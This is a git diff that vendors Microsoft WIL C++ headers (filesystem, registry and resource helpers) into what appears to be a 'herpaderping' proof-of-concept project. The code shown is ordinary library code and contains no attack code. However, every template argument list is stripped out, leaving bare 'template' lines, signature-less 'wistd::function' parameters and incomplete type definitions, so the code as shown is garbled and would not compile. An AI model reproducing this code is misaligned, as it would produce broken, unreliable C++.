OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, __nullptr)); + RETURN_LAST_ERROR_IF(!readerState->m_folderHandle); + + readerState->m_tpIo = CreateThreadpoolIo(readerState->m_folderHandle.get(), &folder_change_reader_t::callback, readerState.get(), __nullptr); + RETURN_LAST_ERROR_IF_NULL(readerState->m_tpIo); + RETURN_IF_FAILED(readerState->StartIo()); + this->reset(readerState.release()); + return S_OK; + } + }; + + typedef unique_any_t, err_returncode_policy>> unique_folder_change_reader_nothrow; + + inline unique_folder_change_reader_nothrow make_folder_change_reader_nothrow(PCWSTR folderToWatch, bool isRecursive, FolderChangeEvents filter, + wistd::function &&callback) WI_NOEXCEPT + { + unique_folder_change_reader_nothrow watcher; + watcher.create(folderToWatch, isRecursive, filter, wistd::move(callback)); + return watcher; // caller must test for success using if (watcher) + } + +#ifdef WIL_ENABLE_EXCEPTIONS + typedef unique_any_t, err_exception_policy>> unique_folder_change_reader; + + inline unique_folder_change_reader make_folder_change_reader(PCWSTR folderToWatch, bool isRecursive, FolderChangeEvents filter, + wistd::function &&callback) + { + return unique_folder_change_reader(folderToWatch, isRecursive, filter, wistd::move(callback)); + } +#endif // WIL_ENABLE_EXCEPTIONS +#pragma endregion + + //! Dos and VolumeGuid paths are always extended length paths with the \\?\ prefix. + enum class VolumePrefix + { + Dos = VOLUME_NAME_DOS, // Extended Dos Device path form, e.g. \\?\C:\Users\Chris\AppData\Local\Temp\wil8C31.tmp + VolumeGuid = VOLUME_NAME_GUID, // \\?\Volume{588fb606-b95b-4eae-b3cb-1e49861aaf18}\Users\Chris\AppData\Local\Temp\wil8C31.tmp + // The following are special paths which can't be used with Win32 APIs, but are useful in other scenarios. + None = VOLUME_NAME_NONE, // Path without the volume root, e.g. \Users\Chris\AppData\Local\Temp\wil8C31.tmp + NtObjectName = VOLUME_NAME_NT, // Unique name used by Object Manager, e.g. \Device\HarddiskVolume4\Users\Chris\AppData\Local\Temp\wil8C31.tmp + }; + enum class PathOptions + { + Normalized = FILE_NAME_NORMALIZED, + Opened = FILE_NAME_OPENED, + }; + DEFINE_ENUM_FLAG_OPERATORS(PathOptions); + + /** A strongly typed version of the Win32 API GetFinalPathNameByHandleW. + Get the full path name in different forms + Use this instead + VolumePrefix::None instead of GetFileInformationByHandleEx(FileNameInfo) to + get that path form. */ + template + HRESULT GetFinalPathNameByHandleW(HANDLE fileHandle, string_type& path, + wil::VolumePrefix volumePrefix = wil::VolumePrefix::Dos, wil::PathOptions options = wil::PathOptions::Normalized) + { + return AdaptFixedSizeToAllocatedResult(path, + [&](_Out_writes_(valueLength) PWSTR value, size_t valueLength, _Out_ size_t* valueLengthNeededWithNull) -> HRESULT + { + *valueLengthNeededWithNull = ::GetFinalPathNameByHandleW(fileHandle, value, static_cast(valueLength), + static_cast(volumePrefix) | static_cast(options)); + RETURN_LAST_ERROR_IF(*valueLengthNeededWithNull == 0); + WI_ASSERT((*value != L'\0') == (*valueLengthNeededWithNull < valueLength)); + if (*valueLengthNeededWithNull < valueLength) + { + (*valueLengthNeededWithNull)++; // it fit, account for the null + } + return S_OK; + }); + } + +#ifdef WIL_ENABLE_EXCEPTIONS + /** A strongly typed version of the Win32 API GetFinalPathNameByHandleW. + Get the full path name in different forms. Use this + VolumePrefix::None + instead of GetFileInformationByHandleEx(FileNameInfo) to get that path form. */ + template + string_type GetFinalPathNameByHandleW(HANDLE fileHandle, + wil::VolumePrefix volumePrefix = wil::VolumePrefix::Dos, wil::PathOptions options = wil::PathOptions::Normalized) + { + string_type result; + THROW_IF_FAILED((GetFinalPathNameByHandleW(fileHandle, result, volumePrefix, options))); + return result; + } +#endif + + //! A strongly typed version of the Win32 API of GetCurrentDirectoryW. + //! Return a path in an allocated buffer for handling long paths. + template + HRESULT GetCurrentDirectoryW(string_type& path) + { + return AdaptFixedSizeToAllocatedResult(path, + [&](_Out_writes_(valueLength) PWSTR value, size_t valueLength, _Out_ size_t* valueLengthNeededWithNull) -> HRESULT + { + *valueLengthNeededWithNull = ::GetCurrentDirectoryW(static_cast(valueLength), value); + RETURN_LAST_ERROR_IF(*valueLengthNeededWithNull == 0); + WI_ASSERT((*value != L'\0') == (*valueLengthNeededWithNull < valueLength)); + if (*valueLengthNeededWithNull < valueLength) + { + (*valueLengthNeededWithNull)++; // it fit, account for the null + } + return S_OK; + }); + } + +#ifdef WIL_ENABLE_EXCEPTIONS + //! A strongly typed version of the Win32 API of GetCurrentDirectoryW. + //! Return a path in an allocated buffer for handling long paths. + template + string_type GetCurrentDirectoryW() + { + string_type result; + THROW_IF_FAILED((GetCurrentDirectoryW(result))); + return result; + } +#endif + + // TODO: add support for these and other similar APIs. + // GetShortPathNameW() + // GetLongPathNameW() + // GetWindowsDirectory() + // GetTempDirectory() + + /// @cond + namespace details + { + template struct MapInfoClassToInfoStruct; // failure to map is a usage error caught by the compiler +#define MAP_INFOCLASS_TO_STRUCT(InfoClass, InfoStruct, IsFixed, Extra) \ + template <> struct MapInfoClassToInfoStruct \ + { \ + typedef InfoStruct type; \ + static bool const isFixed = IsFixed; \ + static size_t const extraSize = Extra; \ + }; + + MAP_INFOCLASS_TO_STRUCT(FileBasicInfo, FILE_BASIC_INFO, true, 0); + MAP_INFOCLASS_TO_STRUCT(FileStandardInfo, FILE_STANDARD_INFO, true, 0); + MAP_INFOCLASS_TO_STRUCT(FileNameInfo, FILE_NAME_INFO, false, 32); + MAP_INFOCLASS_TO_STRUCT(FileRenameInfo, FILE_RENAME_INFO, false, 32); + MAP_INFOCLASS_TO_STRUCT(FileDispositionInfo, FILE_DISPOSITION_INFO, true, 0); + MAP_INFOCLASS_TO_STRUCT(FileAllocationInfo, FILE_ALLOCATION_INFO, true, 0); + MAP_INFOCLASS_TO_STRUCT(FileEndOfFileInfo, FILE_END_OF_FILE_INFO, true, 0); + MAP_INFOCLASS_TO_STRUCT(FileStreamInfo, FILE_STREAM_INFO, false, 32); + MAP_INFOCLASS_TO_STRUCT(FileCompressionInfo, FILE_COMPRESSION_INFO, true, 0); + MAP_INFOCLASS_TO_STRUCT(FileAttributeTagInfo, FILE_ATTRIBUTE_TAG_INFO, true, 0); + MAP_INFOCLASS_TO_STRUCT(FileIdBothDirectoryInfo, FILE_ID_BOTH_DIR_INFO, false, 4096); + MAP_INFOCLASS_TO_STRUCT(FileIdBothDirectoryRestartInfo, FILE_ID_BOTH_DIR_INFO, true, 0); + MAP_INFOCLASS_TO_STRUCT(FileIoPriorityHintInfo, FILE_IO_PRIORITY_HINT_INFO, true, 0); + MAP_INFOCLASS_TO_STRUCT(FileRemoteProtocolInfo, FILE_REMOTE_PROTOCOL_INFO, true, 0); + MAP_INFOCLASS_TO_STRUCT(FileFullDirectoryInfo, FILE_FULL_DIR_INFO, false, 4096); + MAP_INFOCLASS_TO_STRUCT(FileFullDirectoryRestartInfo, FILE_FULL_DIR_INFO, true, 0); +#if (_WIN32_WINNT >= _WIN32_WINNT_WIN8) + MAP_INFOCLASS_TO_STRUCT(FileStorageInfo, FILE_STORAGE_INFO, true, 0); + MAP_INFOCLASS_TO_STRUCT(FileAlignmentInfo, FILE_ALIGNMENT_INFO, true, 0); + MAP_INFOCLASS_TO_STRUCT(FileIdInfo, FILE_ID_INFO, true, 0); + MAP_INFOCLASS_TO_STRUCT(FileIdExtdDirectoryInfo, FILE_ID_EXTD_DIR_INFO, false, 4096); + MAP_INFOCLASS_TO_STRUCT(FileIdExtdDirectoryRestartInfo, FILE_ID_EXTD_DIR_INFO, true, 0); +#endif + + // Type unsafe version used in the implementation to avoid template bloat. + inline HRESULT GetFileInfo(HANDLE fileHandle, FILE_INFO_BY_HANDLE_CLASS infoClass, size_t allocationSize, + _Outptr_result_nullonfailure_ void **result) + { + *result = nullptr; + + wistd::unique_ptr resultHolder(new(std::nothrow) char[allocationSize]); + RETURN_IF_NULL_ALLOC(resultHolder); + + for (;;) + { + if (GetFileInformationByHandleEx(fileHandle, infoClass, resultHolder.get(), static_cast(allocationSize))) + { + *result = resultHolder.release(); + break; + } + else + { + DWORD const lastError = ::GetLastError(); + if (lastError == ERROR_MORE_DATA) + { + allocationSize *= 2; + resultHolder.reset(new(std::nothrow) char[allocationSize]); + RETURN_IF_NULL_ALLOC(resultHolder); + } + else if (lastError == ERROR_NO_MORE_FILES) // for folder enumeration cases + { + break; + } + else if (lastError == ERROR_INVALID_PARAMETER) // operation not supported by file system + { + return HRESULT_FROM_WIN32(lastError); + } + else + { + RETURN_WIN32(lastError); + } + } + } + return S_OK; + } + } + /// @endcond + + /** Get file information for a variable sized structure, returns an HRESULT. + ~~~ + wistd::unique_ptr fileNameInfo; + RETURN_IF_FAILED(GetFileInfoNoThrow(fileHandle, fileNameInfo)); + ~~~ + */ + template ::isFixed, int>::type = 0> + HRESULT GetFileInfoNoThrow(HANDLE fileHandle, wistd::unique_ptr::type> &result) WI_NOEXCEPT + { + void *rawResult; + HRESULT hr = details::GetFileInfo(fileHandle, infoClass, + sizeof(typename details::MapInfoClassToInfoStruct::type) + details::MapInfoClassToInfoStruct::extraSize, + &rawResult); + result.reset(static_cast::type*>(rawResult)); + RETURN_HR_IF_EXPECTED(hr, hr == E_INVALIDARG); // operation not supported by file system + RETURN_IF_FAILED(hr); + return S_OK; + } + + /** Get file information for a fixed sized structure, returns an HRESULT. + ~~~ + FILE_BASIC_INFO fileBasicInfo; + RETURN_IF_FAILED(GetFileInfoNoThrow(fileHandle, &fileBasicInfo)); + ~~~ + */ + template ::isFixed, int>::type = 0> + HRESULT GetFileInfoNoThrow(HANDLE fileHandle, _Out_ typename details::MapInfoClassToInfoStruct::type *result) WI_NOEXCEPT + { + const HRESULT hr = GetFileInformationByHandleEx(fileHandle, infoClass, result, sizeof(*result)) ? + S_OK : HRESULT_FROM_WIN32(::GetLastError()); + RETURN_HR_IF_EXPECTED(hr, hr == E_INVALIDARG); // operation not supported by file system + RETURN_IF_FAILED(hr); + return S_OK; + } + + // Verifies that the given file path is not a hard or a soft link. If the file is present at the path, returns + // a handle to it without delete permissions to block an attacker from swapping the file. + inline HRESULT CreateFileAndEnsureNotLinked(PCWSTR path, wil::unique_hfile& fileHandle) + { + // Open handles to the original path and to the final path and compare each file's information + // to verify they are the same file. If they are different, the file is a soft link. + fileHandle.reset(CreateFileW(path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT, nullptr)); + RETURN_LAST_ERROR_IF(!fileHandle); + BY_HANDLE_FILE_INFORMATION fileInfo; + RETURN_IF_WIN32_BOOL_FALSE(GetFileInformationByHandle(fileHandle.get(), &fileInfo)); + + // Open a handle without the reparse point flag to get the final path in case it is a soft link. + wil::unique_hfile finalPathHandle(CreateFileW(path, 0, 0, nullptr, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, nullptr)); + RETURN_LAST_ERROR_IF(!finalPathHandle); + BY_HANDLE_FILE_INFORMATION finalFileInfo; + RETURN_IF_WIN32_BOOL_FALSE(GetFileInformationByHandle(finalPathHandle.get(), &finalFileInfo)); + finalPathHandle.reset(); + + // The low and high indices and volume serial number uniquely identify a file. These must match if they are the same file. + const bool isSoftLink = + ((fileInfo.nFileIndexLow != finalFileInfo.nFileIndexLow) || + (fileInfo.nFileIndexHigh != finalFileInfo.nFileIndexHigh) || + (fileInfo.dwVolumeSerialNumber != finalFileInfo.dwVolumeSerialNumber)); + + // Return failure if it is a soft link or a hard link (number of links greater than 1). + RETURN_HR_IF(HRESULT_FROM_WIN32(ERROR_BAD_PATHNAME), (isSoftLink || fileInfo.nNumberOfLinks > 1)); + + return S_OK; + } + +#ifdef _CPPUNWIND + /** Get file information for a fixed sized structure, throws on failure. + ~~~ + auto fileBasicInfo = GetFileInfo(fileHandle); + ~~~ + */ + template ::isFixed, int>::type = 0> + typename details::MapInfoClassToInfoStruct::type GetFileInfo(HANDLE fileHandle) + { + typename details::MapInfoClassToInfoStruct::type result; + THROW_IF_FAILED(GetFileInfoNoThrow(fileHandle, &result)); + return result; + } + + /** Get file information for a variable sized structure, throws on failure. + ~~~ + auto fileBasicInfo = GetFileInfo(fileHandle); + ~~~ + */ + template ::isFixed, int>::type = 0> + wistd::unique_ptr::type> GetFileInfo(HANDLE fileHandle) + { + wistd::unique_ptr::type> result; + THROW_IF_FAILED(GetFileInfoNoThrow(fileHandle, result)); + return result; + } +#endif // _CPPUNWIND +#endif // WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) && (_WIN32_WINNT >= _WIN32_WINNT_WIN7) +} + +#endif // __WIL_FILESYSTEM_INCLUDED diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/registry.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/registry.h new file mode 100644 index 00000000..e70dd544 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/registry.h @@ -0,0 +1,277 @@ +//********************************************************* +// +// Copyright (c) Microsoft. All rights reserved. +// This code is licensed under the MIT License. +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +// PARTICULAR PURPOSE AND NONINFRINGEMENT. +// +//********************************************************* +#ifndef __WIL_REGISTRY_INCLUDED +#define __WIL_REGISTRY_INCLUDED + +#ifdef _KERNEL_MODE +#error This header is not supported in kernel-mode. +#endif + +#include +#include // new(std::nothrow) +#include "resource.h" // unique_hkey + +namespace wil +{ + //! The key name includes the absolute path of the key in the registry, always starting at a + //! base key, for example, HKEY_LOCAL_MACHINE. + size_t const max_registry_key_name_length = 255; + + //! The maximum number of characters allowed in a registry value's name. + size_t const max_registry_value_name_length = 16383; + + // unique_registry_watcher/unique_registry_watcher_nothrow/unique_registry_watcher_failfast + // These classes make it easy to execute a provided function when a + // registry key changes (optionally recursively). Specify the key + // either as a root key + path, or an open registry handle as wil::unique_hkey + // or a raw HKEY value (that will be duplicated). + // + // Example use with exceptions base error handling: + // auto watcher = wil::make_registry_watcher(HKEY_CURRENT_USER, L"Software\\MyApp", true, wil::RegistryChangeKind changeKind[] + // { + // if (changeKind == RegistryChangeKind::Delete) + // { + // watcher.reset(); + // } + // // invalidate cached registry data here + // }); + // + // Example use with error code base error handling: + // auto watcher = wil::make_registry_watcher_nothrow(HKEY_CURRENT_USER, L"Software\\MyApp", true, wil::RegistryChangeKind[] + // { + // // invalidate cached registry data here + // }); + // RETURN_IF_NULL_ALLOC(watcher); + + enum class RegistryChangeKind + { + Modify = 0, + Delete = 1, + }; + + /// @cond + namespace details + { + struct registry_watcher_state + { + registry_watcher_state(unique_hkey &&keyToWatch, bool isRecursive, wistd::function &&callback) + : m_callback(wistd::move(callback)), m_keyToWatch(wistd::move(keyToWatch)), m_isRecursive(isRecursive) + { + } + wistd::function m_callback; + unique_hkey m_keyToWatch; + unique_event_nothrow m_eventHandle; + + // While not strictly needed since this is ref counted the thread pool wait + // should be last to ensure that the other members are valid + // when it is destructed as it will reference them. + unique_threadpool_wait m_threadPoolWait; + bool m_isRecursive; + + volatile long m_refCount = 1; + srwlock m_lock; + + // Returns true if the refcount can be increased from a non zero value, + // false it was zero impling that the object is in or on the way to the destructor. + // In this case ReleaseFromCallback() should not be called. + bool TryAddRef() + { + return ::InterlockedIncrement(&m_refCount) > 1; + } + + void Release() + { + auto lock = m_lock.lock_exclusive(); + if (0 == ::InterlockedDecrement(&m_refCount)) + { + lock.reset(); // leave the lock before deleting it. + delete this; + } + } + + void ReleaseFromCallback(bool rearm) + { + auto lock = m_lock.lock_exclusive(); + if (0 == ::InterlockedDecrement(&m_refCount)) + { + // Destroy the thread pool wait now to avoid the wait that would occur in the + // destructor. That wait would cause a deadlock since we are doing this from the callback. + ::CloseThreadpoolWait(m_threadPoolWait.release()); + lock.reset(); // leave the lock before deleting it. + delete this; + // Sleep(1); // Enable for testing to find use after free bugs. + } + else if (rearm) + { + ::SetThreadpoolWait(m_threadPoolWait.get(), m_eventHandle.get(), nullptr); + } + } + }; + + inline void delete_registry_watcher_state(_In_opt_ registry_watcher_state *watcherStorage) { watcherStorage->Release(); } + + typedef resource_policy registry_watcher_state_resource_policy; + } + /// @endcond + + template + class registry_watcher_t : public storage_t + { + public: + // forward all base class constructors... + template + explicit registry_watcher_t(args_t&&... args) WI_NOEXCEPT : storage_t(wistd::forward(args)...) {} + + // HRESULT or void error handling... + typedef typename err_policy::result result; + + // Exception-based constructors + registry_watcher_t(HKEY rootKey, _In_ PCWSTR subKey, bool isRecursive, wistd::function &&callback) + { + static_assert(wistd::is_same::value, "this constructor requires exceptions; use the create method"); + create(rootKey, subKey, isRecursive, wistd::move(callback)); + } + + registry_watcher_t(unique_hkey &&keyToWatch, bool isRecursive, wistd::function &&callback) + { + static_assert(wistd::is_same::value, "this constructor requires exceptions; use the create method"); + create(wistd::move(keyToWatch), isRecursive, wistd::move(callback)); + } + + // Pass a root key, sub key pair or use an empty string to use rootKey as the key to watch. + result create(HKEY rootKey, _In_ PCWSTR subKey, bool isRecursive, wistd::function &&callback) + { + // Most use will want to create the key, consider adding an option for open as a future design change. + unique_hkey keyToWatch; + HRESULT hr = HRESULT_FROM_WIN32(RegCreateKeyExW(rootKey, subKey, 0, nullptr, 0, KEY_NOTIFY, nullptr, &keyToWatch, nullptr)); + if (FAILED(hr)) + { + return err_policy::HResult(hr); + } + return err_policy::HResult(create_common(wistd::move(keyToWatch), isRecursive, wistd::move(callback))); + } + + result create(unique_hkey &&keyToWatch, bool isRecursive, wistd::function &&callback) + { + return err_policy::HResult(create_common(wistd::move(keyToWatch), isRecursive, wistd::move(callback))); + } + + private: + // Factored into a standalone function to support Clang which does not support conversion of stateless lambdas + // to __stdcall + static void __stdcall callback(PTP_CALLBACK_INSTANCE, void *context, TP_WAIT *, TP_WAIT_RESULT) + { +#ifndef __WIL_REGISTRY_CHANGE_CALLBACK_TEST +#define __WIL_REGISTRY_CHANGE_CALLBACK_TEST +#endif + __WIL_REGISTRY_CHANGE_CALLBACK_TEST + auto watcherState = static_cast(context); + if (watcherState->TryAddRef()) + { + // using auto reset event so don't need to manually reset. + + // failure here is a programming error. + const LSTATUS error = RegNotifyChangeKeyValue(watcherState->m_keyToWatch.get(), watcherState->m_isRecursive, + REG_NOTIFY_CHANGE_LAST_SET | REG_NOTIFY_CHANGE_NAME | REG_NOTIFY_THREAD_AGNOSTIC, + watcherState->m_eventHandle.get(), TRUE); + + // Call the client before re-arming to ensure that multiple callbacks don't + // run concurrently. + switch (error) + { + case ERROR_SUCCESS: + case ERROR_ACCESS_DENIED: + // Normal modification: send RegistryChangeKind::Modify and re-arm. + watcherState->m_callback(RegistryChangeKind::Modify); + watcherState->ReleaseFromCallback(true); + break; + + case ERROR_KEY_DELETED: + // Key deleted, send RegistryChangeKind::Delete, do not re-arm. + watcherState->m_callback(RegistryChangeKind::Delete); + watcherState->ReleaseFromCallback(false); + break; + + case ERROR_HANDLE_REVOKED: + // Handle revoked. This can occur if the user session ends before + // the watcher shuts-down. Disarm silently since there is generally no way to respond. + watcherState->ReleaseFromCallback(false); + break; + + default: + FAIL_FAST_HR(HRESULT_FROM_WIN32(error)); + } + } + } + + // This function exists to avoid template expansion of this code based on err_policy. + HRESULT create_common(unique_hkey &&keyToWatch, bool isRecursive, wistd::function &&callback) + { + wistd::unique_ptr watcherState(new(std::nothrow) details::registry_watcher_state( + wistd::move(keyToWatch), isRecursive, wistd::move(callback))); + RETURN_IF_NULL_ALLOC(watcherState); + RETURN_IF_FAILED(watcherState->m_eventHandle.create()); + RETURN_IF_WIN32_ERROR(RegNotifyChangeKeyValue(watcherState->m_keyToWatch.get(), + watcherState->m_isRecursive, REG_NOTIFY_CHANGE_LAST_SET | REG_NOTIFY_CHANGE_NAME | REG_NOTIFY_THREAD_AGNOSTIC, + watcherState->m_eventHandle.get(), TRUE)); + + watcherState->m_threadPoolWait.reset(CreateThreadpoolWait(®istry_watcher_t::callback, watcherState.get(), nullptr)); + RETURN_LAST_ERROR_IF(!watcherState->m_threadPoolWait); + storage_t::reset(watcherState.release()); // no more failures after this, pass ownership + SetThreadpoolWait(storage_t::get()->m_threadPoolWait.get(), storage_t::get()->m_eventHandle.get(), nullptr); + return S_OK; + } + }; + + typedef unique_any_t, err_returncode_policy>> unique_registry_watcher_nothrow; + typedef unique_any_t, err_failfast_policy>> unique_registry_watcher_failfast; + + inline unique_registry_watcher_nothrow make_registry_watcher_nothrow(HKEY rootKey, _In_ PCWSTR subKey, bool isRecursive, wistd::function &&callback) WI_NOEXCEPT + { + unique_registry_watcher_nothrow watcher; + watcher.create(rootKey, subKey, isRecursive, wistd::move(callback)); + return watcher; // caller must test for success using if (watcher) + } + + inline unique_registry_watcher_nothrow make_registry_watcher_nothrow(unique_hkey &&keyToWatch, bool isRecursive, wistd::function &&callback) WI_NOEXCEPT + { + unique_registry_watcher_nothrow watcher; + watcher.create(wistd::move(keyToWatch), isRecursive, wistd::move(callback)); + return watcher; // caller must test for success using if (watcher) + } + + inline unique_registry_watcher_failfast make_registry_watcher_failfast(HKEY rootKey, _In_ PCWSTR subKey, bool isRecursive, wistd::function &&callback) + { + return unique_registry_watcher_failfast(rootKey, subKey, isRecursive, wistd::move(callback)); + } + + inline unique_registry_watcher_failfast make_registry_watcher_failfast(unique_hkey &&keyToWatch, bool isRecursive, wistd::function &&callback) + { + return unique_registry_watcher_failfast(wistd::move(keyToWatch), isRecursive, wistd::move(callback)); + } + +#ifdef WIL_ENABLE_EXCEPTIONS + typedef unique_any_t, err_exception_policy >> unique_registry_watcher; + + inline unique_registry_watcher make_registry_watcher(HKEY rootKey, _In_ PCWSTR subKey, bool isRecursive, wistd::function &&callback) + { + return unique_registry_watcher(rootKey, subKey, isRecursive, wistd::move(callback)); + } + + inline unique_registry_watcher make_registry_watcher(unique_hkey &&keyToWatch, bool isRecursive, wistd::function &&callback) + { + return unique_registry_watcher(wistd::move(keyToWatch), isRecursive, wistd::move(callback)); + } +#endif // WIL_ENABLE_EXCEPTIONS +} // namespace wil + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/resource.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/resource.h new file mode 100644 index 00000000..47ed84a7 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/resource.h @@ -0,0 +1,6213 @@ +//********************************************************* +// +// Copyright (c) Microsoft. All rights reserved. +// This code is licensed under the MIT License. +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +// PARTICULAR PURPOSE AND NONINFRINGEMENT. +// +//********************************************************* + +#include "result_macros.h" +#include "wistd_functional.h" +#include "wistd_memory.h" + +#pragma warning(push) +#pragma warning(disable:26135 26110) // Missing locking annotation, Caller failing to hold lock +#pragma warning(disable:4714) // __forceinline not honored + +#ifndef __WIL_RESOURCE +#define __WIL_RESOURCE + +// stdint.h and intsafe.h have conflicting definitions, so it's not safe to include either to pick up our dependencies, +// so the definitions we need are copied below +#ifdef _WIN64 +#define __WI_SIZE_MAX 0xffffffffffffffffui64 // UINT64_MAX +#else /* _WIN64 */ +#define __WI_SIZE_MAX 0xffffffffui32 // UINT32_MAX +#endif /* _WIN64 */ + +// Forward declaration +/// @cond +namespace Microsoft +{ + namespace WRL + { + template + class ComPtr; + } +} +/// @endcond + +namespace wil +{ + //! This type copies the current value of GetLastError at construction and resets the last error + //! to that value when it is destroyed. + //! + //! This is useful in library code that runs during a value's destructor. If the library code could + //! inadvertantly change the value of GetLastError (by calling a Win32 API or similar), it should + //! instantiate a value of this type before calling the library function in order to preserve the + //! GetLastError value the user would expect. + //! + //! This construct exists to hide kernel mode/user mode differences in wil library code. + //! + //! Example usage: + //! + //! if (!CreateFile(...)) + //! { + //! auto lastError = wil::last_error_context(); + //! WriteFile(g_hlog, logdata); + //! } + //! + class last_error_context + { +#ifndef WIL_KERNEL_MODE + bool m_dismissed; + DWORD m_error; + public: + last_error_context() WI_NOEXCEPT : + m_dismissed(false), + m_error(::GetLastError()) + { + } + + last_error_context(last_error_context&& other) WI_NOEXCEPT + { + operator=(wistd::move(other)); + } + + last_error_context & operator=(last_error_context&& other) WI_NOEXCEPT + { + m_dismissed = wistd::exchange(other.m_dismissed, true); + m_error = other.m_error; + + return *this; + } + + ~last_error_context() WI_NOEXCEPT + { + if (!m_dismissed) + { + ::SetLastError(m_error); + } + } + + //! last_error_context doesn't own a concrete resource, so therefore + //! it just disarms its destructor and returns void. + void release() WI_NOEXCEPT + { + WI_ASSERT(!m_dismissed); + m_dismissed = true; + } +#else + public: + void release() WI_NOEXCEPT { } +#endif // WIL_KERNEL_MODE + }; + + /// @cond + namespace details + { + typedef wistd::integral_constant pointer_access_all; // get(), release(), addressof(), and '&' are available + typedef wistd::integral_constant pointer_access_noaddress; // get() and release() are available + typedef wistd::integral_constant pointer_access_none; // the raw pointer is not available + + template // nullptr_t if the invalid handle value is compatible with nullptr, otherwise pointer + struct resource_policy + { + typedef pointer_storage_t pointer_storage; + typedef pointer_t pointer; + typedef pointer_invalid_t pointer_invalid; + typedef pointer_access_t pointer_access; + __forceinline static pointer_storage invalid_value() { return (pointer)invalid; } + __forceinline static bool is_valid(pointer_storage value) WI_NOEXCEPT { return (static_cast(value) != (pointer)invalid); } + __forceinline static void close(pointer_storage value) WI_NOEXCEPT { wistd::invoke(close_fn, value); } + + inline static void close_reset(pointer_storage value) WI_NOEXCEPT + { + auto preserveError = last_error_context(); + wistd::invoke(close_fn, value); + } + }; + + + // This class provides the pointer storage behind the implementation of unique_any_t utilizing the given + // resource_policy. It is separate from unique_any_t to allow a type-specific specialization class to plug + // into the inheritance chain between unique_any_t and unique_storage. This allows classes like unique_event + // to be a unique_any formed class, but also expose methods like SetEvent directly. + + template + class unique_storage + { + protected: + typedef Policy policy; + typedef typename policy::pointer_storage pointer_storage; + typedef typename policy::pointer pointer; + typedef unique_storage base_storage; + + unique_storage() WI_NOEXCEPT : + m_ptr(policy::invalid_value()) + { + } + + explicit unique_storage(pointer_storage ptr) WI_NOEXCEPT : + m_ptr(ptr) + { + } + + unique_storage(unique_storage &&other) WI_NOEXCEPT : + m_ptr(wistd::move(other.m_ptr)) + { + other.m_ptr = policy::invalid_value(); + } + + ~unique_storage() WI_NOEXCEPT + { + if (policy::is_valid(m_ptr)) + { + policy::close(m_ptr); + } + } + + void replace(unique_storage &&other) WI_NOEXCEPT + { + reset(other.m_ptr); + other.m_ptr = policy::invalid_value(); + } + + public: + bool is_valid() const WI_NOEXCEPT + { + return policy::is_valid(m_ptr); + } + + void reset(pointer_storage ptr = policy::invalid_value()) WI_NOEXCEPT + { + if (policy::is_valid(m_ptr)) + { + policy::close_reset(m_ptr); + } + m_ptr = ptr; + } + + void reset(wistd::nullptr_t) WI_NOEXCEPT + { + static_assert(wistd::is_same::value, "reset(nullptr): valid only for handle types using nullptr as the invalid value"); + reset(); + } + + pointer get() const WI_NOEXCEPT + { + return static_cast(m_ptr); + } + + pointer_storage release() WI_NOEXCEPT + { + static_assert(!wistd::is_same::value, "release(): the raw handle value is not available for this resource class"); + auto ptr = m_ptr; + m_ptr = policy::invalid_value(); + return ptr; + } + + pointer_storage *addressof() WI_NOEXCEPT + { + static_assert(wistd::is_same::value, "addressof(): the address of the raw handle is not available for this resource class"); + return &m_ptr; + } + + private: + pointer_storage m_ptr; + }; + } // details + /// @endcond + + + // This class when paired with unique_storage and an optional type-specific specialization class implements + // the same interface as STL's unique_ptr<> for resource handle types. It is a non-copyable, yet movable class + // supporting attach (reset), detach (release), retrieval (get()). + + template + class unique_any_t : public storage_t + { + public: + typedef typename storage_t::policy policy; + typedef typename policy::pointer_storage pointer_storage; + typedef typename policy::pointer pointer; + + unique_any_t(unique_any_t const &) = delete; + unique_any_t& operator=(unique_any_t const &) = delete; + + // Note that the default constructor really shouldn't be needed (taken care of by the forwarding constructor below), but + // the forwarding constructor causes an internal compiler error when the class is used in a C++ array. Defining the default + // constructor independent of the forwarding constructor removes the compiler limitation. + unique_any_t() = default; + + // forwarding constructor: forwards all 'explicit' and multi-arg constructors to the base class + template + explicit unique_any_t(arg1 && first, args_t&&... args) : // should not be WI_NOEXCEPT (may forward to a throwing constructor) + storage_t(wistd::forward(first), wistd::forward(args)...) + { + static_assert(wistd::is_same::value || + wistd::is_same::value || + wistd::is_same::value, "pointer_access policy must be a known pointer_access* integral type"); + } + + unique_any_t(wistd::nullptr_t) WI_NOEXCEPT + { + static_assert(wistd::is_same::value, "nullptr constructor: valid only for handle types using nullptr as the invalid value"); + } + + unique_any_t(unique_any_t &&other) WI_NOEXCEPT : + storage_t(wistd::move(other)) + { + } + + unique_any_t& operator=(unique_any_t &&other) WI_NOEXCEPT + { + if (this != wistd::addressof(other)) + { + // cast to base_storage to 'skip' calling the (optional) specialization class that provides handle-specific functionality + storage_t::replace(wistd::move(static_cast(other))); + } + return (*this); + } + + unique_any_t& operator=(wistd::nullptr_t) WI_NOEXCEPT + { + static_assert(wistd::is_same::value, "nullptr assignment: valid only for handle types using nullptr as the invalid value"); + storage_t::reset(); + return (*this); + } + + void swap(unique_any_t &other) WI_NOEXCEPT + { + unique_any_t self(wistd::move(*this)); + operator=(wistd::move(other)); + other = wistd::move(self); + } + + explicit operator bool() const WI_NOEXCEPT + { + return storage_t::is_valid(); + } + + //! ~~~~ + //! BOOL OpenOrCreateWaffle(PCWSTR name, 